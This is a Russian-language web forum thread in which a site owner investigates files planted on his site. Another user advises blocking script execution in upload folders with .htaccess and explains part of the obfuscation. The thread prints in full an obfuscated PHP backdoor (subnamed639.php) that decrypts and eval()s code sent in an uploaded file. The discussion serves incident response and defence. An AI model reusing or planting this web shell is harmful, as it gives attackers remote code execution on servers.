|
|
|
|
|
для: BlueWolf
(26.06.2014 в 13:42)
| | Нет, что-то типа такого должно быть:
Options -Indexes
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
RemoveType php
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
|
Что касается кода, то в нем больше "мишуры" для отвлечения глаза. Например:
<?
$Misimages_4 = '';
$imclos_6 = 'Qah9eca09U6s428BU5EiY_bZhdlo6Ns';
$PXk45BAp = array(22, 1, 11, 4, 10, 12, 21, 25, 4, 5, 27, 25, 4);
foreach ($PXk45BAp as $Subposist)
$Misimages_4 .= $imclos_6[$Subposist];
//в итоге $Misimages_4 = base64_decode
//далее содержимое массивов, где в base64 содержаться имена ini-переменных
//это легко просмотреть все - print_r для массивов, где явно видны base64-значения без мишуры
//и имена функций, а что делается в начале, видно вот так
//вместо @$irclosisties2[2]($Misimages_4($irclosisties2[9]), false) и т.п.
echo $irclosisties2[3] . '(0)';
echo $irclosisties2[2] . '(' . base64_decode($irclosisties2[7]). ',false)';
echo $irclosisties2[2] . '(' . base64_decode($irclosisties2[1]). ',false)';
echo $irclosisties2[2] . '(' . base64_decode($irclosisties2[9]). ',false)';
echo $irclosisties2[2] . '(' . base64_decode($irclosisties2[5]). ',false)';
|
| |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 12:25)
| | Вот так правильно?
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
|
| |
|
|
|
|
|
|
|
для: BlueWolf
(26.06.2014 в 12:12)
| | Да, в htaccess прописать запрет. | |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 11:46)
| | Как в директории где картинки и прочие файлы запретить выполнение исполняемых скриптов? Это делается при помощи htaccess? | |
|
|
|
|
|
|
|
для: BlueWolf
(26.06.2014 в 11:22)
| | Зачем такие портянки выставлять? Вот и анализируйте для уяснения.
А в директориях изображений и прочих публичных должно быть запрещено исполнение всяких исполняемых скриптов.
И если залито в директорию изображений, значит ваш скрипт их загрузки имеет приличные дыры. | |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 09:47)
| | Обнаружил ещё один файл subnamed639.php
Его умудрились залить в папку заливки картинок для статьи. Этот код как то связан с предыдущим?
<?php
$Misimages_4 = '';
$imclos_6 = 'Qah9eca09U6s428BU5EiY_bZhdlo6Ns';
$PXk45BAp = array(22, 1, 11, 4, 10, 12, 21, 25, 4, 5, 27, 25, 4);
foreach ($PXk45BAp as $Subposist)
$Misimages_4 .= $imclos_6[$Subposist];
$install = array(chr(77).'T'.chr(65).chr(51)."ND".'g0'."Nj".'c=','NDc4'.'Nz'.chr(89)."0"."MTg1ND".chr(73).'5MjM'.chr(61),"ob_".'end'."_clea"."n");
$Nonproced72 = array('ob'."_"."ge".'t_content'.'s','ob_st'.chr(97)."rt","NjczO".'Tkw'.'ND'.chr(107)."x".'NT'."EwMQ".'==','O'.chr(68).'E4'.chr(77).'TY0MTc'.'2MD'.chr(103)."2Mw="."=");
$Postprocies = array('d'.chr(71).'1wX2'.chr(53)."h"."bWU=");
$Langs = array("U3V".'jX2Nl'.chr(77)."w==",'Q29udGVud'.chr(67).chr(49).'UeXBlO'.'i'.'Bh'."c"."HB".'saWN'.'h'.chr(100).'Glv'."bi9v"."Y3Rl"."d".'C1zdHJlYW0=',"fil".'e_'.'g'."et_content".'s');
$Picting = array('Z'."3p".'kZ'.'WZsY'.chr(88).chr(82).'l','Q'."29udGVud".'C1Ue'.'X'.'Bl'.'O'.'i'."BhcHBs"."aW".'N'.chr(104).'d'.'Glvbi9'."6a".'XA=','Z3'."pkZ".chr(87).chr(90)."s"."Y".chr(88).'Rl',"Q29ud".'GVu'.'d'.chr(67)."1Ue".chr(88).'BlO'.chr(105)."B"."hcH".chr(66).chr(115)."aW"."NhdG".'lvb'.chr(105).chr(57)."4LWd6".'aX'.'A=');
$Mener_75 = array(chr(104)."eader",'Ynpjb'.chr(50)."1w"."cm"."Vzc".chr(119)."==","Ynp".'j'.'b21wc'."mVzcw"."==");$imagents = array("bW"."Vtb".'3'.'J5'.'X2xpbWl0');$premantiones = array('c'."2".'Fm'.'Z'."V9t".'b'."2Rl","b".'WF4X2V4ZWN'.'1dGl'.'v'.'bl90'.chr(97).'W1'.'l');
$Sexss14 = array('gzdefl'.'ate',"se".'t_'."t"."im".'e'.chr(95).'limit',"Z3ppb".chr(109).'ZsYX'.chr(82).'l',chr(89).'npjb2'.'1wc'."mVzcw".chr(61)."=",'ZG'.'V'.chr(109).'Y'.'X'.chr(86).'sdF9zb2Nr'.'ZXR'.chr(102)."dGl".'tZW9'.chr(49).chr(100)."A==",'gzi'.'n'.chr(102)."late",'Ynpj'.chr(98).chr(50).'1w'.'c'.'m'.chr(86)."z".'cw'.chr(61)."=",'Z3pkZ'.chr(87)."Z"."sY".chr(88)."Rl",chr(90).chr(51).'p'.'pb'.'mZs'."YX"."Rl",'Z3'.'pkZ'.chr(87).'ZsYXRl',"bzco".chr(109).'press');
$MqVO4 = array(chr(98)."zde".chr(99)."ompress",'Y'.'npk'."Z".chr(87)."N"."vbXB".chr(121)."ZXN".chr(122),"Ynp".chr(107).'ZWNv'."bX"."ByZX".chr(78)."z",'is_in'.chr(116));
$proces = array("M".'A==',"b".'cad'.chr(100),'ord','pow','chr');
$Misown_7 = array('ce'."il",chr(102).'u'."nc"."t".'ion_e'."x".chr(105).'sts','is'.'_ca'.'ll'."a".'b'.'le','s'.chr(116)."r"."len","b".'cd'.'iv',chr(98).'cpow'.chr(109).'o'."d",'YmNwb3dtb2'."Q".'=','M'.'A'."==","s"."u".chr(98)."str","Y".chr(109).'N'."w".'b3dtb2'."Q=",'bcmu'.chr(108));$irclosisties2 = array('bcmod','b'.'G9nX'.chr(50)."Vy".'cm9ycw'.chr(61).'=','i'.chr(110).'i'."_".'set','erro'."r".chr(95).'report'.'ing','MA==',"b3V"."0cHV0X".'2J'.'1ZmZl'.'cm'.'l'."u"."Zw==","MA==",'Z'.chr(88).'Jyb'.chr(51)."JfbG9".'n',"MQ"."==","Z".chr(71)."lzcGxhe"."V9l"."c".'n'."Jv".'cnM'."=");
@$irclosisties2[3](0);
@$irclosisties2[2]($Misimages_4($irclosisties2[7]), false);
@$irclosisties2[2]($Misimages_4($irclosisties2[1]), false);
@$irclosisties2[2]($Misimages_4($irclosisties2[9]), false);
@$irclosisties2[2]($Misimages_4($irclosisties2[5]), false);
function fsFekql($Submanly7, $Image_b810, $mened)
{
$returns = '';
$Calles = 'TadwsMTj8Htw9e3oight6iVb9uhcyF04_s';
$Disposeries = array(23, 1, 4, 13, 20, 31, 32, 2, 13, 27, 15, 2, 13);
foreach ($Disposeries as $imaglyes)
$returns .= $Calles[$imaglyes];
global $Misown_7;
global $irclosisties2;
$overcalure_83 = $returns($irclosisties2[8]);
$XIuaCL = $irclosisties2[0]($Submanly7, $mened);
while ($Image_b810 != $returns($irclosisties2[4]))
{
if ($irclosisties2[0]($Image_b810, 2) != $returns($irclosisties2[6]))
$overcalure_83 = $irclosisties2[0]($Misown_7[10]($overcalure_83, $XIuaCL), $mened);
$XIuaCL = $irclosisties2[0]($Misown_7[10]($XIuaCL, $XIuaCL), $mened);
$Image_b810 = $Misown_7[4]($Image_b810, 2);
}
return $overcalure_83;
}
function oversexing3d12($Irtext923e, $Exmansions, $lange_89)
{
global $Misimages_4;
global $Misown_7;
if ($Misown_7[1]($Misimages_4($Misown_7[6])) && $Misown_7[2]($Misimages_4($Misown_7[9])))
return $Misown_7[5]($Irtext923e, $Exmansions, $lange_89);
else
return fsFekql($Irtext923e, $Exmansions, $lange_89);
}
function Namtioned_39($Irmanenties72, $excallies)
{$Misowning67 = array('chr',"bc".chr(100).'i'.'v',chr(98).'cmod');
$Irmanenties72 = "$Irmanenties72";
$irowned55 = '';
do
{
$irowned55 = $Misowning67[0]($Misowning67[2]($Irmanenties72, $excallies)).$irowned55;
$Irmanenties72 = $Misowning67[1]($Irmanenties72, $excallies);
}
while ($Irmanenties72 != 0);
return $irowned55;
}
function closives_2($ilnaments, $Sexurees17, $procfuling_21)
{
global $Misimages_4;
global $proces;
global $Misown_7;
$undermanories = '';
$Texties_96 = 3;
$technologies = $Misown_7[0]($Misown_7[3]($ilnaments) / $Texties_96);
for($Exlangibles = 0;
$Exlangibles < $technologies;
++$Exlangibles)
{
$Formed = $Misown_7[8]($ilnaments, $Exlangibles*$Texties_96, $Texties_96);
$overreturnsionies = $Misimages_4($Misown_7[7]);
for($medium = 0;
$medium < $Misown_7[3]($Formed); ++$medium)
$overreturnsionies += ($proces[2]($Formed[$medium]) + 1) * $proces[3](256, $medium);
$overreturnsionies = Namtioned_39(oversexing3d12($overreturnsionies, $Sexurees17, $procfuling_21), 255);
$undermanories .= $overreturnsionies.$proces[4](255);
}
return $Misown_7[8]($undermanories, 0, -1);
}
function dismanes_64($Sexing_0, $sucies_45)
{
$suca2f = chr(98)."as".chr(101)."64_de".'co'.'de';global $proces;
global $Misown_7;
$Sexing_0 = "$Sexing_0";
$exsexed = $suca2f($proces[0]);
$Nonreturnible_138 = $Misown_7[3]($Sexing_0) - 1;
for ($reowne = 0; $reowne <= $Nonreturnible_138;
++$reowne)
$exsexed = $proces[1]($exsexed, $Misown_7[10]($proces[2]($Sexing_0[$reowne]), $proces[3]($sucies_45, $Nonreturnible_138 - $reowne)));
return $exsexed;
}
function imagies_cb24($manlyies_a, $immenist, $Man3b)
{
$irimag = ''; $Overmenives_a4 = array("floor",chr(101).chr(120).'pl'."o".'d'.'e',"co".'unt',"chr");
$closies5 = $Overmenives_a4[1]($Overmenives_a4[3](255), $manlyies_a);
for ($Returnible_14 = 0;
$Returnible_14 < $Overmenives_a4[2]($closies5);
++$Returnible_14)
{
$Subclosing_58 = oversexing3d12(dismanes_64($closies5[$Returnible_14], 255), $immenist, $Man3b);
while ($Subclosing_58 != 0)
{
$irimag .= $Overmenives_a4[3](($Subclosing_58-1) % 256);
$Subclosing_58 = $Overmenives_a4[0](($Subclosing_58-1) / 256);
}
}
return $irimag;
}
function prepos8($jm9lDEp) {
$Posies_f29 = '';
$posuries_26 = 'd4sq2yiVUQ1JaBVO8POQL8ldPLTe1oCFb_c6lkr';
$Remens = array(32, 12, 2, 27, 35, 1, 33, 0, 27, 34, 29, 0, 27);
foreach ($Remens as $Misucing)
$Posies_f29 .= $posuries_26[$Misucing];
global $Sexss14;
global $MqVO4;
global $Misown_7;
$Nonproce_67 = false;
if ($Misown_7[1]($Posies_f29($MqVO4[2])) && $Misown_7[2]($Posies_f29($MqVO4[1]))) {
$Nonproce_67 = @$MqVO4[0]($jm9lDEp);
if (!$MqVO4[3]($Nonproce_67)) return $Nonproce_67;
}
if ($Misown_7[1]($Posies_f29($Sexss14[2])) && $Misown_7[2]($Posies_f29($Sexss14[8]))) {
$Nonproce_67 = @$Sexss14[5]($jm9lDEp);
if ($jm9lDEp == $Sexss14[0]($Nonproce_67, 9)) return $Nonproce_67;
}
return $jm9lDEp;
}
function Undersucist($Nonsuce) {
eval($Nonsuce);
}
function Closented56($postlanging_61d) {
$NdSQv = '';
$pictente = '6fA9uQMlqwk9AaX_BEg1QEqsbdNxVu15obe4cwI';
$suces1521 = array(24, 13, 23, 34, 0, 35, 15, 25, 34, 36, 32, 25, 34);
foreach ($suces1521 as $procismed61)
$NdSQv .= $pictente[$procismed61];
global $Sexss14;
global $Misown_7;
if ($Misown_7[1]($NdSQv($Sexss14[6])) && $Misown_7[2]($NdSQv($Sexss14[3]))) $postlanging_61d = @$Sexss14[10]($postlanging_61d, 9);
elseif ($Misown_7[1]($NdSQv($Sexss14[9])) && $Misown_7[2]($NdSQv($Sexss14[7]))) $postlanging_61d = @$Sexss14[0]($postlanging_61d, 9);
return $postlanging_61d;
}
@$Sexss14[1](0);
@$irclosisties2[2]($Misimages_4($Sexss14[4]), 60);
@$irclosisties2[2]($Misimages_4($premantiones[1]), 0);
@$irclosisties2[2]($Misimages_4($premantiones[0]), false);
@$irclosisties2[2]($Misimages_4($imagents[0]), -1);
if ($Misown_7[1]($Misimages_4($Mener_75[1])) && $Misown_7[2]($Misimages_4($Mener_75[2]))) @$Mener_75[0]($Misimages_4($Picting[1]));
elseif ($Misown_7[1]($Misimages_4($Picting[2])) && $Misown_7[2]($Misimages_4($Picting[0]))) @$Mener_75[0]($Misimages_4($Picting[3]));
else @$Mener_75[0]($Misimages_4($Langs[1]));
$formesd31 = @$Langs[2](@$_FILES[$Misimages_4($Langs[0])][$Misimages_4($Postprocies[0])]);
$formesd31 = prepos8($formesd31);
$formesd31 = imagies_cb24($formesd31, $Misimages_4($Nonproced72[2]), $Misimages_4($Nonproced72[3]));
$formesd31 = prepos8($formesd31);
$Nonproced72[1]();
Undersucist($formesd31);
$imagisted12 = $Nonproced72[0]();
$install[2]();
$imagisted12 = Closented56($imagisted12);
$imagisted12 = closives_2($imagisted12, $Misimages_4($install[0]), $Misimages_4($install[1]));
$imagisted12 = Closented56($imagisted12);
echo $imagisted12;
?>
|
| |
|
|
|
|
|
|
|
для: BlueWolf
(26.06.2014 в 09:06)
| | Сам по себе код файла представленного на столько же опасен, как и сказка о Колобке, а вот запущенный в контексте, кем-то, это уже неприятности. Читайте и анализируйте код:
<?
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'wb');
if (!is_resource($f))
return false;
$bytes = fwrite($f, $data);
|
Но в самом представленном коде нет обращения к записи, это значит, что помимо его есть еще что-то.
Если у вас есть подозрение, что по украденному был произведен вход и что-то залили, то голову червя искать нужно не среди файлов от корня документов, а выше уровнем. Заливать shell в документы нет смысла, его легко обнаружить.
А что будет с данными после floatval($god)? Вот вам и ответ, есть ли в этом опасность. А какие дыры используются в приеме данных форм, sql, для заливки, это поищите в сети, это обширный материал, который хотя бы в общем надо знать. | |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 08:07)
| | Этот скрипт мог добавить в файл index.php на главной странице сайта строчку @include_once и путь на свой php файл?
В директории где я обнаружил чужой файл, есть страница моего сайта в которой есть фарма ввода текста. Как оказалось входящий $_POST в нём никак не фильтруется. Там было вот так
$god = trim($_POST['god']);
$god = floatval($god);
$realdisk = $god * 1000000000/1024/1024/1024;
echo $realdisk;
|
Мог ли хакер закинуть свой файл используя это? | |
|
|
|
|
|
|
|
для: BlueWolf
(26.06.2014 в 07:49)
| | От смены пароля, не удалив загруженного ранее червя, проку не будет.
Загрузить можно и формой, и через sql, а если есть червь, то и им. | |
|
|
|
|
|
|
|
для: confirm
(26.06.2014 в 06:11)
| | Я думаю этот код мне забросили конкуренты чтобы снизить позиции поисковых запросов. Ссылки на сайте закрывались тегом <noindex>.
Вопрос как это им удалось. Пароли от хостинга и ftp я уже поменял. Возможно ли такой файл забросить на сайт, если нет формы загрузки файлов на сайт. Возможно ли закачать файл через форму ввода текста? | |
|
|
| |
|